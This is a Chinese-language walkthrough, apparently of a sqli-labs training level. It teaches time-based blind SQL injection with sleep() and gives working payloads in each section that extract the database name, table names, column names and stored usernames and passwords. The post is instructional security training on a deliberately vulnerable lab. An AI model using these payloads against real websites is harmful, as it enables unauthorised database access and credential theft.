前言
什么是延时注入?
1.IF(Condition,A,B)函数
2.当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
3.sleep()函数 网页延迟n秒后,输出结果
4.left()函数 左边数,取几个数
比如呢:
- 判断当前数据库长度:
id=3' and if(length(database())>10,sleep(5),1) --+ #判断数据库长度
- 获取当前连接数据库第一个字母
if(ascii(substr((select database()), 1, 1))=114, sleep(5), 1)
- 判断第一个数据库第一个字符。
if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1)
一、判断注入点
延时注入其实也就是利用响应时长发生延迟从而判断返回值是否正确,当然最麻烦的是页面不论报不报错,都不会返回错误
该关其实是基于是否闭合的字符型注入,展示!
闭合型:
?id=1') and (sleep(2)) --+
一般正常页面响应的时间也就是延迟两秒左右,说明不是闭合型注入
不闭合型:
?id=1' and (sleep(2)) --+
在这里我们设置的延迟响应为2s可以看到页面延迟响应为4s左右说明,找到了注入点
二、爆数据库
接下来的解题思想和第八关相差不大,数据库(security)的长度为8我想大家做到这一关应该都知道了(●’◡’●)
?id=1' and if (length(database())=8,sleep(2),1) --+
可以看到延时响应了2s说明数据库的长度就是8!!!
爆数据
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),1) --+
第一位ASCII值为115,为s
第二位
?id=1' and if(ascii(substr(database(),2,1))=101,sleep(2),1) --+
就这样依次往下,更换第一位的大小依次往下求值得到数据库的名字:security.
三、爆表名
原理和上面的是一样的
第一位:ASCII值为117-(u)
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(2),1)--+
第二位:ASCII值为115-(s)
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(2),1)--+
就这样依次往下吧最后得到:emails/users
四、爆字段
第一个字:ASCII=105-(i)
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+
接下来只需要修改下面红标的值就可以了
第二个字:ASCII=100-(d)
可见第一列列名:id
第二列第一个字:ASCII=117-(u)
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),1,1))=117,sleep(2),1)--+
换列只需要更换第一个数字的大小,0为第一列,1为第二列,接下来求第二列的字段也就像求第一列的字段一样操作
第二个字:ASCII=115-(s)
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),2,1))=115,sleep(2),1)--+
还是这样依次往下吧😎得到列为分别为:
第一列名:id
第二列名:username
第三列名:password
五、爆数据
曙光来了🤳让我们来看看username藏了什么吧
第一个ASCII=68-(D)
?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+
第二个字:ASCII=117-(u)
?id=1' and If(ascii(substr((select username from users limit 0,1),2,1))=117,sleep(2),1)--+
就这样依次往下继续吧🤞
最后依次进行得到username:Dumb,password:Dumb
总结
简而言之呢,其实延时注入格式也是固定的理解sleep(x) 函数的意义是关键,不过就是个自行设定如果判断成功那么就会延迟x秒嘛🐱🚀